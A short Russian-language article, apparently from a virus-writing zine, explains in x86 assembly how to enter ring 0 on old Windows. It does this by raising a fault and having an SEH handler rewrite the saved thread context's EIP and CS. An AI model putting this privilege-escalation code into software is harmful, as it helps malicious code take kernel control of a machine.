ENTERING RING-0 WITHOUT USING WIN32 API: CONTEXT MODIFICATION
------------------------------------------------------------
Вы наверное уже знакомы с трудами Z0mbie на тему перехода в ring0 c
использованием GetTreadContext/SetTreadContext. Если нет, то советую это
сделать (TD052000). Ибо именно Z0mbie излагает суть этой методы.
Как оказалось CONTEXT можно изменить и без использования
win32API (CreateTherad,GetTreadContext,SetTreadContext). Суть в cледующем:
а) настраиваем SEH на свой обработчик:
push offset MySEH
push dword ptr fs:[0]
mov fs:[0],esp
б) вызываем исключение (подойдет любой метод ;) :
xor eax,eax
mov [eax],eax
в) управление получает MySEH :
MySEH: mov esi,[esp+0Ch] ; mov eax,offset Ring0Proc; mov [esi+0b8h],eax ; mov eax,0028h ; mov [esi+0BCh],eax ; xor eax,eax ; ret ;